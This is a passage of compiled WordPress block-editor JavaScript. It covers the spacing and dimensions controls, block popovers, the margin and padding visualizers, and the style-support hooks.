28689 panelId,
28690 children: [
28691 !showSpacingPresetsControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28692 external_wp_components_namespaceObject.BoxControl,
28693 {
28694 __next40pxDefaultSize: true,
28695 values: marginValues,
28696 onChange: setMarginValues,
28697 inputProps: {
28698 min: minMarginValue,
28699 onDragStart: () => {
28700 setMinMarginValue(0);
28701 },
28702 onDragEnd: () => {
28703 setMinMarginValue(minimumMargin);
28704 },
28705 onMouseOver: onMouseOverMargin,
28706 onMouseOut: onMouseLeaveControls
28707 },
28708 label: (0,external_wp_i18n_namespaceObject.__)("Margin"),
28709 sides: marginSides,
28710 units,
28711 allowReset: false,
28712 splitOnAxis: isAxialMargin
28713 }
28714 ),
28715 showSpacingPresetsControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28716 SpacingSizesControl,
28717 {
28718 values: marginValues,
28719 onChange: setMarginValues,
28720 minimumCustomValue: -Infinity,
28721 label: (0,external_wp_i18n_namespaceObject.__)("Margin"),
28722 sides: marginSides,
28723 units,
28724 allowReset: false,
28725 onMouseOver: onMouseOverMargin,
28726 onMouseOut: onMouseLeaveControls
28727 }
28728 )
28729 ]
28730 }
28731 ),
28732 showGapControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
28733 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
28734 {
28735 hasValue: hasGapValue,
28736 label: (0,external_wp_i18n_namespaceObject.__)("Block spacing"),
28737 onDeselect: resetGapValue,
28738 isShownByDefault: defaultControls.blockGap ?? dimensions_panel_DEFAULT_CONTROLS.blockGap,
28739 className: dist_clsx({
28740 "tools-panel-item-spacing": showSpacingPresetsControl,
28741 "single-column": (
28742 // If UnitControl is used, should be single-column.
28743 !showSpacingPresetsControl && !isAxialGap
28744 )
28745 }),
28746 panelId,
28747 children: [
28748 !showSpacingPresetsControl && (isAxialGap ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28749 external_wp_components_namespaceObject.BoxControl,
28750 {
28751 __next40pxDefaultSize: true,
28752 label: (0,external_wp_i18n_namespaceObject.__)("Block spacing"),
28753 min: 0,
28754 onChange: setGapValues,
28755 units,
28756 sides: gapSides,
28757 values: gapValues,
28758 allowReset: false,
28759 splitOnAxis: isAxialGap
28760 }
28761 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28762 external_wp_components_namespaceObject.__experimentalUnitControl,
28763 {
28764 __next40pxDefaultSize: true,
28765 label: (0,external_wp_i18n_namespaceObject.__)("Block spacing"),
28766 min: 0,
28767 onChange: setGapValue,
28768 units,
28769 value: gapValue
28770 }
28771 )),
28772 showSpacingPresetsControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28773 SpacingSizesControl,
28774 {
28775 label: (0,external_wp_i18n_namespaceObject.__)("Block spacing"),
28776 min: 0,
28777 onChange: setGapValues,
28778 showSideInLabel: false,
28779 sides: isAxialGap ? gapSides : ["top"],
28780 values: gapValues,
28781 allowReset: false
28782 }
28783 )
28784 ]
28785 }
28786 ),
28787 showChildLayoutControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28788 ChildLayoutControl,
28789 {
28790 value: childLayout,
28791 onChange: setChildLayout,
28792 parentLayout: settings?.parentLayout,
28793 panelId,
28794 isShownByDefault: defaultControls.childLayout ?? dimensions_panel_DEFAULT_CONTROLS.childLayout
28795 }
28796 ),
28797 showMinHeightControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28798 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
28799 {
28800 hasValue: hasMinHeightValue,
28801 label: (0,external_wp_i18n_namespaceObject.__)("Minimum height"),
28802 onDeselect: resetMinHeightValue,
28803 isShownByDefault: defaultControls.minHeight ?? dimensions_panel_DEFAULT_CONTROLS.minHeight,
28804 panelId,
28805 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28806 HeightControl,
28807 {
28808 label: (0,external_wp_i18n_namespaceObject.__)("Minimum height"),
28809 value: minHeightValue,
28810 onChange: setMinHeightValue
28811 }
28812 )
28813 }
28814 ),
28815 showAspectRatioControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28816 AspectRatioTool,
28817 {
28818 hasValue: hasAspectRatioValue,
28819 value: aspectRatioValue,
28820 onChange: setAspectRatioValue,
28821 panelId,
28822 isShownByDefault: defaultControls.aspectRatio ?? dimensions_panel_DEFAULT_CONTROLS.aspectRatio
28823 }
28824 )
28825 ]
28826 }
28827 );
28828}
28829
28830
28831;// ./node_modules/@wordpress/block-editor/build-module/components/block-popover/use-popover-scroll.js
28832
28833
28834const scrollContainerCache = /* @__PURE__ */ new WeakMap();
28835function usePopoverScroll(contentRef) {
28836 const effect = (0,external_wp_compose_namespaceObject.useRefEffect)(
28837 (node) => {
28838 function onWheel(event) {
28839 const { deltaX, deltaY, target } = event;
28840 const contentEl = contentRef.current;
28841 let scrollContainer = scrollContainerCache.get(contentEl);
28842 if (!scrollContainer) {
28843 scrollContainer = (0,external_wp_dom_namespaceObject.getScrollContainer)(contentEl);
28844 scrollContainerCache.set(contentEl, scrollContainer);
28845 }
28846 const eventScrollContainer = (0,external_wp_dom_namespaceObject.getScrollContainer)(target);
28847 if (!node.contains(eventScrollContainer)) {
28848 scrollContainer.scrollBy(deltaX, deltaY);
28849 }
28850 }
28851 const options = { passive: true };
28852 node.addEventListener("wheel", onWheel, options);
28853 return () => {
28854 node.removeEventListener("wheel", onWheel, options);
28855 };
28856 },
28857 [contentRef]
28858 );
28859 return contentRef ? effect : null;
28860}
28861var use_popover_scroll_default = usePopoverScroll;
28862
28863
28864;// ./node_modules/@wordpress/block-editor/build-module/utils/dom.js
28865const BLOCK_SELECTOR = ".block-editor-block-list__block";
28866const APPENDER_SELECTOR = ".block-list-appender";
28867const BLOCK_APPENDER_CLASS = ".block-editor-button-block-appender";
28868function isInSameBlock(a, b) {
28869 return a.closest(BLOCK_SELECTOR) === b.closest(BLOCK_SELECTOR);
28870}
28871function isInsideRootBlock(blockElement, element) {
28872 const parentBlock = element.closest(
28873 [BLOCK_SELECTOR, APPENDER_SELECTOR, BLOCK_APPENDER_CLASS].join(",")
28874 );
28875 return parentBlock === blockElement;
28876}
28877function getBlockClientId(node) {
28878 while (node && node.nodeType !== node.ELEMENT_NODE) {
28879 node = node.parentNode;
28880 }
28881 if (!node) {
28882 return;
28883 }
28884 const elementNode = (
28885 /** @type {Element} */
28886 node
28887 );
28888 const blockNode = elementNode.closest(BLOCK_SELECTOR);
28889 if (!blockNode) {
28890 return;
28891 }
28892 return blockNode.id.slice("block-".length);
28893}
28894function rectUnion(rect1, rect2) {
28895 const left = Math.min(rect1.left, rect2.left);
28896 const right = Math.max(rect1.right, rect2.right);
28897 const bottom = Math.max(rect1.bottom, rect2.bottom);
28898 const top = Math.min(rect1.top, rect2.top);
28899 return new window.DOMRectReadOnly(left, top, right - left, bottom - top);
28900}
28901function isElementVisible(element) {
28902 const viewport = element.ownerDocument.defaultView;
28903 if (!viewport) {
28904 return false;
28905 }
28906 if (element.classList.contains("components-visually-hidden")) {
28907 return false;
28908 }
28909 const bounds = element.getBoundingClientRect();
28910 if (bounds.width === 0 || bounds.height === 0) {
28911 return false;
28912 }
28913 if (element.checkVisibility) {
28914 return element.checkVisibility?.({
28915 opacityProperty: true,
28916 contentVisibilityAuto: true,
28917 visibilityProperty: true
28918 });
28919 }
28920 const style = viewport.getComputedStyle(element);
28921 if (style.display === "none" || style.visibility === "hidden" || style.opacity === "0") {
28922 return false;
28923 }
28924 return true;
28925}
28926function isScrollable(element) {
28927 const style = window.getComputedStyle(element);
28928 return style.overflowX === "auto" || style.overflowX === "scroll" || style.overflowY === "auto" || style.overflowY === "scroll";
28929}
28930const WITH_OVERFLOW_ELEMENT_BLOCKS = ["core/navigation"];
28931function getElementBounds(element) {
28932 const viewport = element.ownerDocument.defaultView;
28933 if (!viewport) {
28934 return new window.DOMRectReadOnly();
28935 }
28936 let bounds = element.getBoundingClientRect();
28937 const dataType = element.getAttribute("data-type");
28938 if (dataType && WITH_OVERFLOW_ELEMENT_BLOCKS.includes(dataType)) {
28939 const stack = [element];
28940 let currentElement;
28941 while (currentElement = stack.pop()) {
28942 if (!isScrollable(currentElement)) {
28943 for (const child of currentElement.children) {
28944 if (isElementVisible(child)) {
28945 const childBounds = child.getBoundingClientRect();
28946 bounds = rectUnion(bounds, childBounds);
28947 stack.push(child);
28948 }
28949 }
28950 }
28951 }
28952 }
28953 const left = Math.max(bounds.left, 0);
28954 const right = Math.min(bounds.right, viewport.innerWidth);
28955 bounds = new window.DOMRectReadOnly(
28956 left,
28957 bounds.top,
28958 right - left,
28959 bounds.height
28960 );
28961 return bounds;
28962}
28963
28964
28965;// ./node_modules/@wordpress/block-editor/build-module/components/block-popover/index.js
28966
28967
28968
28969
28970
28971
28972
28973
28974const MAX_POPOVER_RECOMPUTE_COUNTER = Number.MAX_SAFE_INTEGER;
28975function BlockPopover({
28976 clientId,
28977 bottomClientId,
28978 children,
28979 __unstablePopoverSlot,
28980 __unstableContentRef,
28981 shift = true,
28982 ...props
28983}, ref) {
28984 const selectedElement = useBlockElement(clientId);
28985 const lastSelectedElement = useBlockElement(bottomClientId ?? clientId);
28986 const mergedRefs = (0,external_wp_compose_namespaceObject.useMergeRefs)([
28987 ref,
28988 use_popover_scroll_default(__unstableContentRef)
28989 ]);
28990 const [
28991 popoverDimensionsRecomputeCounter,
28992 forceRecomputePopoverDimensions
28993 ] = (0,external_wp_element_namespaceObject.useReducer)(
28994 // Module is there to make sure that the counter doesn't overflow.
28995 (s) => (s + 1) % MAX_POPOVER_RECOMPUTE_COUNTER,
28996 0
28997 );
28998 (0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
28999 if (!selectedElement) {
29000 return;
29001 }
29002 const observer = new window.MutationObserver(
29003 forceRecomputePopoverDimensions
29004 );
29005 observer.observe(selectedElement, { attributes: true });
29006 return () => {
29007 observer.disconnect();
29008 };
29009 }, [selectedElement]);
29010 const popoverAnchor = (0,external_wp_element_namespaceObject.useMemo)(() => {
29011 if (
29012 // popoverDimensionsRecomputeCounter is by definition always equal or greater
29013 // than 0. This check is only there to satisfy the correctness of the
29014 // exhaustive-deps rule for the `useMemo` hook.
29015 popoverDimensionsRecomputeCounter < 0 || !selectedElement || bottomClientId && !lastSelectedElement
29016 ) {
29017 return void 0;
29018 }
29019 return {
29020 getBoundingClientRect() {
29021 return lastSelectedElement ? rectUnion(
29022 getElementBounds(selectedElement),
29023 getElementBounds(lastSelectedElement)
29024 ) : getElementBounds(selectedElement);
29025 },
29026 contextElement: selectedElement
29027 };
29028 }, [
29029 popoverDimensionsRecomputeCounter,
29030 selectedElement,
29031 bottomClientId,
29032 lastSelectedElement
29033 ]);
29034 if (!selectedElement || bottomClientId && !lastSelectedElement) {
29035 return null;
29036 }
29037 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29038 external_wp_components_namespaceObject.Popover,
29039 {
29040 ref: mergedRefs,
29041 animate: false,
29042 focusOnMount: false,
29043 anchor: popoverAnchor,
29044 __unstableSlotName: __unstablePopoverSlot,
29045 inline: !__unstablePopoverSlot,
29046 placement: "top-start",
29047 resize: false,
29048 flip: false,
29049 shift,
29050 ...props,
29051 className: dist_clsx("block-editor-block-popover", props.className),
29052 variant: "unstyled",
29053 children
29054 }
29055 );
29056}
29057const PrivateBlockPopover = (0,external_wp_element_namespaceObject.forwardRef)(BlockPopover);
29058const PublicBlockPopover = ({ clientId, bottomClientId, children, ...props }, ref) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29059 PrivateBlockPopover,
29060 {
29061 ...props,
29062 bottomClientId,
29063 clientId,
29064 __unstableContentRef: void 0,
29065 __unstablePopoverSlot: void 0,
29066 ref,
29067 children
29068 }
29069);
29070var block_popover_default = (0,external_wp_element_namespaceObject.forwardRef)(PublicBlockPopover);
29071
29072
29073;// ./node_modules/@wordpress/block-editor/build-module/components/block-popover/cover.js
29074
29075
29076
29077
29078function BlockPopoverCover({
29079 clientId,
29080 bottomClientId,
29081 children,
29082 shift = false,
29083 additionalStyles,
29084 ...props
29085}, ref) {
29086 bottomClientId ??= clientId;
29087 const selectedElement = useBlockElement(clientId);
29088 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29089 PrivateBlockPopover,
29090 {
29091 ref,
29092 clientId,
29093 bottomClientId,
29094 shift,
29095 ...props,
29096 children: selectedElement && clientId === bottomClientId ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29097 CoverContainer,
29098 {
29099 selectedElement,
29100 additionalStyles,
29101 children
29102 }
29103 ) : children
29104 }
29105 );
29106}
29107function CoverContainer({
29108 selectedElement,
29109 additionalStyles = {},
29110 children
29111}) {
29112 const [width, setWidth] = (0,external_wp_element_namespaceObject.useState)(selectedElement.offsetWidth);
29113 const [height, setHeight] = (0,external_wp_element_namespaceObject.useState)(selectedElement.offsetHeight);
29114 (0,external_wp_element_namespaceObject.useEffect)(() => {
29115 const observer = new window.ResizeObserver(() => {
29116 setWidth(selectedElement.offsetWidth);
29117 setHeight(selectedElement.offsetHeight);
29118 });
29119 observer.observe(selectedElement, { box: "border-box" });
29120 return () => observer.disconnect();
29121 }, [selectedElement]);
29122 const style = (0,external_wp_element_namespaceObject.useMemo)(() => {
29123 return {
29124 position: "absolute",
29125 width,
29126 height,
29127 ...additionalStyles
29128 };
29129 }, [width, height, additionalStyles]);
29130 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { style, children });
29131}
29132var cover_default = (0,external_wp_element_namespaceObject.forwardRef)(BlockPopoverCover);
29133
29134
29135;// ./node_modules/@wordpress/block-editor/build-module/hooks/spacing-visualizer.js
29136
29137
29138
29139
29140
29141function SpacingVisualizer({ clientId, value, computeStyle, forceShow }) {
29142 const blockElement = useBlockElement(clientId);
29143 const [style, updateStyle] = (0,external_wp_element_namespaceObject.useReducer)(
29144 () => computeStyle(blockElement)
29145 );
29146 (0,external_wp_element_namespaceObject.useEffect)(() => {
29147 if (!blockElement) {
29148 return;
29149 }
29150 const observer = new window.MutationObserver(updateStyle);
29151 observer.observe(blockElement, {
29152 attributes: true,
29153 attributeFilter: ["style", "class"]
29154 });
29155 return () => {
29156 observer.disconnect();
29157 };
29158 }, [blockElement]);
29159 const previousValueRef = (0,external_wp_element_namespaceObject.useRef)(value);
29160 const [isActive, setIsActive] = (0,external_wp_element_namespaceObject.useState)(false);
29161 (0,external_wp_element_namespaceObject.useEffect)(() => {
29162 if (external_wp_isShallowEqual_default()(value, previousValueRef.current) || forceShow) {
29163 return;
29164 }
29165 setIsActive(true);
29166 previousValueRef.current = value;
29167 const timeout = setTimeout(() => {
29168 setIsActive(false);
29169 }, 400);
29170 return () => {
29171 setIsActive(false);
29172 clearTimeout(timeout);
29173 };
29174 }, [value, forceShow]);
29175 if (!isActive && !forceShow) {
29176 return null;
29177 }
29178 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29179 cover_default,
29180 {
29181 clientId,
29182 __unstablePopoverSlot: "block-toolbar",
29183 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor__spacing-visualizer", style })
29184 }
29185 );
29186}
29187function getComputedCSS(element, property) {
29188 return element.ownerDocument.defaultView.getComputedStyle(element).getPropertyValue(property);
29189}
29190function MarginVisualizer({ clientId, value, forceShow }) {
29191 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29192 SpacingVisualizer,
29193 {
29194 clientId,
29195 value: value?.spacing?.margin,
29196 computeStyle: (blockElement) => {
29197 const top = getComputedCSS(blockElement, "margin-top");
29198 const right = getComputedCSS(blockElement, "margin-right");
29199 const bottom = getComputedCSS(blockElement, "margin-bottom");
29200 const left = getComputedCSS(blockElement, "margin-left");
29201 return {
29202 borderTopWidth: top,
29203 borderRightWidth: right,
29204 borderBottomWidth: bottom,
29205 borderLeftWidth: left,
29206 top: top ? `-${top}` : 0,
29207 right: right ? `-${right}` : 0,
29208 bottom: bottom ? `-${bottom}` : 0,
29209 left: left ? `-${left}` : 0
29210 };
29211 },
29212 forceShow
29213 }
29214 );
29215}
29216function PaddingVisualizer({ clientId, value, forceShow }) {
29217 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29218 SpacingVisualizer,
29219 {
29220 clientId,
29221 value: value?.spacing?.padding,
29222 computeStyle: (blockElement) => ({
29223 borderTopWidth: getComputedCSS(blockElement, "padding-top"),
29224 borderRightWidth: getComputedCSS(
29225 blockElement,
29226 "padding-right"
29227 ),
29228 borderBottomWidth: getComputedCSS(
29229 blockElement,
29230 "padding-bottom"
29231 ),
29232 borderLeftWidth: getComputedCSS(blockElement, "padding-left")
29233 }),
29234 forceShow
29235 }
29236 );
29237}
29238
29239
29240;// ./node_modules/@wordpress/block-editor/build-module/hooks/dimensions.js
29241
29242
29243
29244
29245
29246
29247
29248
29249
29250
29251
29252
29253const DIMENSIONS_SUPPORT_KEY = "dimensions";
29254const SPACING_SUPPORT_KEY = "spacing";
29255const dimensions_ALL_SIDES = (/* unused pure expression or super */ null && (["top", "right", "bottom", "left"]));
29256const dimensions_AXIAL_SIDES = (/* unused pure expression or super */ null && (["vertical", "horizontal"]));
29257function useVisualizer() {
29258 const [property, setProperty] = (0,external_wp_element_namespaceObject.useState)(false);
29259 const { hideBlockInterface, showBlockInterface } = unlock(
29260 (0,external_wp_data_namespaceObject.useDispatch)(store)
29261 );
29262 (0,external_wp_element_namespaceObject.useEffect)(() => {
29263 if (!property) {
29264 showBlockInterface();
29265 } else {
29266 hideBlockInterface();
29267 }
29268 }, [property, showBlockInterface, hideBlockInterface]);
29269 return [property, setProperty];
29270}
29271function DimensionsInspectorControl({ children, resetAllFilter }) {
29272 const attributesResetAllFilter = (0,external_wp_element_namespaceObject.useCallback)(
29273 (attributes) => {
29274 const existingStyle = attributes.style;
29275 const updatedStyle = resetAllFilter(existingStyle);
29276 return {
29277 ...attributes,
29278 style: updatedStyle
29279 };
29280 },
29281 [resetAllFilter]
29282 );
29283 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29284 inspector_controls_default,
29285 {
29286 group: "dimensions",
29287 resetAllFilter: attributesResetAllFilter,
29288 children
29289 }
29290 );
29291}
29292function dimensions_DimensionsPanel({ clientId, name, setAttributes, settings }) {
29293 const isEnabled = useHasDimensionsPanel(settings);
29294 const value = (0,external_wp_data_namespaceObject.useSelect)(
29295 (select) => select(store).getBlockAttributes(clientId)?.style,
29296 [clientId]
29297 );
29298 const [visualizedProperty, setVisualizedProperty] = useVisualizer();
29299 const onChange = (newStyle) => {
29300 setAttributes({
29301 style: utils_cleanEmptyObject(newStyle)
29302 });
29303 };
29304 if (!isEnabled) {
29305 return null;
29306 }
29307 const defaultDimensionsControls = (0,external_wp_blocks_namespaceObject.getBlockSupport)(name, [
29308 DIMENSIONS_SUPPORT_KEY,
29309 "__experimentalDefaultControls"
29310 ]);
29311 const defaultSpacingControls = (0,external_wp_blocks_namespaceObject.getBlockSupport)(name, [
29312 SPACING_SUPPORT_KEY,
29313 "__experimentalDefaultControls"
29314 ]);
29315 const defaultControls = {
29316 ...defaultDimensionsControls,
29317 ...defaultSpacingControls
29318 };
29319 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
29320 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29321 DimensionsPanel,
29322 {
29323 as: DimensionsInspectorControl,
29324 panelId: clientId,
29325 settings,
29326 value,
29327 onChange,
29328 defaultControls,
29329 onVisualize: setVisualizedProperty
29330 }
29331 ),
29332 !!settings?.spacing?.padding && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29333 PaddingVisualizer,
29334 {
29335 forceShow: visualizedProperty === "padding",
29336 clientId,
29337 value
29338 }
29339 ),
29340 !!settings?.spacing?.margin && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
29341 MarginVisualizer,
29342 {
29343 forceShow: visualizedProperty === "margin",
29344 clientId,
29345 value
29346 }
29347 )
29348 ] });
29349}
29350function hasDimensionsSupport(blockName, feature = "any") {
29351 if (external_wp_element_namespaceObject.Platform.OS !== "web") {
29352 return false;
29353 }
29354 const support = (0,external_wp_blocks_namespaceObject.getBlockSupport)(blockName, DIMENSIONS_SUPPORT_KEY);
29355 if (support === true) {
29356 return true;
29357 }
29358 if (feature === "any") {
29359 return !!(support?.aspectRatio || !!support?.minHeight);
29360 }
29361 return !!support?.[feature];
29362}
29363var dimensions_default = {
29364 useBlockProps: dimensions_useBlockProps,
29365 attributeKeys: ["minHeight", "style"],
29366 hasSupport(name) {
29367 return hasDimensionsSupport(name, "aspectRatio");
29368 }
29369};
29370function dimensions_useBlockProps({ name, minHeight, style }) {
29371 if (!hasDimensionsSupport(name, "aspectRatio") || shouldSkipSerialization(name, DIMENSIONS_SUPPORT_KEY, "aspectRatio")) {
29372 return {};
29373 }
29374 const className = dist_clsx({
29375 "has-aspect-ratio": !!style?.dimensions?.aspectRatio
29376 });
29377 const inlineStyleOverrides = {};
29378 if (style?.dimensions?.aspectRatio) {
29379 inlineStyleOverrides.minHeight = "unset";
29380 } else if (minHeight || style?.dimensions?.minHeight) {
29381 inlineStyleOverrides.aspectRatio = "unset";
29382 }
29383 return { className, style: inlineStyleOverrides };
29384}
29385function useCustomSides() {
29386 external_wp_deprecated_default()("wp.blockEditor.__experimentalUseCustomSides", {
29387 since: "6.3",
29388 version: "6.4"
29389 });
29390}
29391
29392
29393;// ./node_modules/@wordpress/block-editor/build-module/hooks/style.js
29394
29395
29396
29397
29398
29399
29400
29401
29402
29403
29404
29405
29406
29407
29408const styleSupportKeys = [
29409 ...TYPOGRAPHY_SUPPORT_KEYS,
29410 BORDER_SUPPORT_KEY,
29411 COLOR_SUPPORT_KEY,
29412 DIMENSIONS_SUPPORT_KEY,
29413 BACKGROUND_SUPPORT_KEY,
29414 SPACING_SUPPORT_KEY,
29415 SHADOW_SUPPORT_KEY
29416];
29417const hasStyleSupport = (nameOrType) => styleSupportKeys.some((key) => (0,external_wp_blocks_namespaceObject.hasBlockSupport)(nameOrType, key));
29418function getInlineStyles(styles = {}) {
29419 const output = {};
29420 (0,external_wp_styleEngine_namespaceObject.getCSSRules)(styles).forEach((rule) => {
29421 output[rule.key] = rule.value;
29422 });
29423 return output;
29424}
29425function style_addAttribute(settings) {
29426 if (!hasStyleSupport(settings)) {
29427 return settings;
29428 }
29429 if (!settings.attributes.style) {
29430 Object.assign(settings.attributes, {
29431 style: {
29432 type: "object"
29433 }
29434 });
29435 }
29436 return settings;
29437}
29438const skipSerializationPathsEdit = {
29439 [`${BORDER_SUPPORT_KEY}.__experimentalSkipSerialization`]: ["border"],
29440 [`${COLOR_SUPPORT_KEY}.__experimentalSkipSerialization`]: [
29441 COLOR_SUPPORT_KEY
29442 ],
29443 [`${TYPOGRAPHY_SUPPORT_KEY}.__experimentalSkipSerialization`]: [
29444 TYPOGRAPHY_SUPPORT_KEY
29445 ],
29446 [`${DIMENSIONS_SUPPORT_KEY}.__experimentalSkipSerialization`]: [
29447 DIMENSIONS_SUPPORT_KEY
29448 ],
29449 [`${SPACING_SUPPORT_KEY}.__experimentalSkipSerialization`]: [
29450 SPACING_SUPPORT_KEY
29451 ],
29452 [`${SHADOW_SUPPORT_KEY}.__experimentalSkipSerialization`]: [
29453 SHADOW_SUPPORT_KEY
29454 ]
29455};
29456const skipSerializationPathsSave = {
29457 ...skipSerializationPathsEdit,
29458 [`${DIMENSIONS_SUPPORT_KEY}.aspectRatio`]: [
29459 `${DIMENSIONS_SUPPORT_KEY}.aspectRatio`
29460 ],
29461 // Skip serialization of aspect ratio in save mode.
29462 [`${BACKGROUND_SUPPORT_KEY}`]: [BACKGROUND_SUPPORT_KEY]
29463 // Skip serialization of background support in save mode.
29464};
29465const skipSerializationPathsSaveChecks = {
29466 [`${DIMENSIONS_SUPPORT_KEY}.aspectRatio`]: true,
29467 [`${BACKGROUND_SUPPORT_KEY}`]: true
29468};
29469const renamedFeatures = { gradients: "gradient" };
29470function omitStyle(style, paths, preserveReference = false) {
29471 if (!style) {
29472 return style;
29473 }
29474 let newStyle = style;
29475 if (!preserveReference) {
29476 newStyle = JSON.parse(JSON.stringify(style));
29477 }
29478 if (!Array.isArray(paths)) {
29479 paths = [paths];
29480 }
29481 paths.forEach((path) => {
29482 if (!Array.isArray(path)) {
29483 path = path.split(".");
29484 }
29485 if (path.length > 1) {
29486 const [firstSubpath, ...restPath] = path;
29487 omitStyle(newStyle[firstSubpath], [restPath], true);
29488 } else if (path.length === 1) {
29489 delete newStyle[path[0]];
29490 }
29491 });
29492 return newStyle;
29493}
29494function style_addSaveProps(props, blockNameOrType, attributes, skipPaths = skipSerializationPathsSave) {
29495 if (!hasStyleSupport(blockNameOrType)) {
29496 return props;
29497 }
29498 let { style } = attributes;
29499 Object.entries(skipPaths).forEach(([indicator, path]) => {
29500 const skipSerialization = skipSerializationPathsSaveChecks[indicator] || (0,external_wp_blocks_namespaceObject.getBlockSupport)(blockNameOrType, indicator);
29501 if (skipSerialization === true) {
29502 style = omitStyle(style, path);
29503 }
29504 if (Array.isArray(skipSerialization)) {
29505 skipSerialization.forEach((featureName) => {
29506 const feature = renamedFeatures[featureName] || featureName;
29507 style = omitStyle(style, [[...path, feature]]);
29508 });
29509 }
29510 });
29511 props.style = {
29512 ...getInlineStyles(style),
29513 ...props.style
29514 };
29515 return props;
29516}
29517function BlockStyleControls({
29518 clientId,
29519 name,
29520 setAttributes,
29521 __unstableParentLayout
29522}) {
29523 const settings = useBlockSettings(name, __unstableParentLayout);
29524 const blockEditingMode = useBlockEditingMode();
29525 const passedProps = {
29526 clientId,
29527 name,
29528 setAttributes,
29529 settings: {
29530 ...settings,
29531 typography: {
29532 ...settings.typography,
29533 // The text alignment UI for individual blocks is rendered in
29534 // the block toolbar, so disable it here.
29535 textAlign: false
29536 }
29537 }
29538 };
29539 if (blockEditingMode !== "default") {
29540 return null;
29541 }
29542 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
29543 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ColorEdit, { ...passedProps }),
29544 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(background_BackgroundImagePanel, { ...passedProps }),
29545 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(typography_TypographyPanel, { ...passedProps }),
29546 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(border_BorderPanel, { ...passedProps }),
29547 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(dimensions_DimensionsPanel, { ...passedProps })
29548 ] });
29549}
29550var style_default = {
29551 edit: BlockStyleControls,
29552 hasSupport: hasStyleSupport,
29553 addSaveProps: style_addSaveProps,
29554 attributeKeys: ["style"],
29555 useBlockProps: style_useBlockProps
29556};
29557const elementTypes = [
29558 { elementType: "button" },
29559 { elementType: "link", pseudo: [":hover"] },
29560 {
29561 elementType: "heading",
29562 elements: ["h1", "h2", "h3", "h4", "h5", "h6"]
29563 }
29564];
29565const STYLE_BLOCK_PROPS_REFERENCE = {};
29566function style_useBlockProps({ name, style }) {
29567 const blockElementsContainerIdentifier = (0,external_wp_compose_namespaceObject.useInstanceId)(
29568 STYLE_BLOCK_PROPS_REFERENCE,
29569 "wp-elements"
29570 );
29571 const baseElementSelector = `.${blockElementsContainerIdentifier}`;
29572 const blockElementStyles = style?.elements;
29573 const styles = (0,external_wp_element_namespaceObject.useMemo)(() => {
29574 if (!blockElementStyles) {
29575 return;
29576 }
29577 const elementCSSRules = [];
29578 elementTypes.forEach(({ elementType, pseudo, elements }) => {
29579 const skipSerialization = shouldSkipSerialization(
29580 name,
29581 COLOR_SUPPORT_KEY,
29582 elementType
29583 );
29584 if (skipSerialization) {
29585 return;
29586 }
29587 const elementStyles = blockElementStyles?.[elementType];
29588 if (elementStyles) {
29589 const selector = scopeSelector(
29590 baseElementSelector,
29591 external_wp_blocks_namespaceObject.__EXPERIMENTAL_ELEMENTS[elementType]
29592 );
29593 elementCSSRules.push(
29594 (0,external_wp_styleEngine_namespaceObject.compileCSS)(elementStyles, { selector })
29595 );
29596 if (pseudo) {
29597 pseudo.forEach((pseudoSelector) => {
29598 if (elementStyles[pseudoSelector]) {
29599 elementCSSRules.push(
29600 (0,external_wp_styleEngine_namespaceObject.compileCSS)(elementStyles[pseudoSelector], {
29601 selector: scopeSelector(
29602 baseElementSelector,
29603 `${external_wp_blocks_namespaceObject.__EXPERIMENTAL_ELEMENTS[elementType]}${pseudoSelector}`
29604 )
29605 })
29606 );
29607 }
29608 });
29609 }
29610 }
29611 if (elements) {
29612 elements.forEach((element) => {
29613 if (blockElementStyles[element]) {
29614 elementCSSRules.push(
29615 (0,external_wp_styleEngine_namespaceObject.compileCSS)(blockElementStyles[element], {
29616 selector: scopeSelector(
29617 baseElementSelector,
29618 external_wp_blocks_namespaceObject.__EXPERIMENTAL_ELEMENTS[element]
29619 )
29620 })
29621 );
29622 }
29623 });
29624 }
29625 });
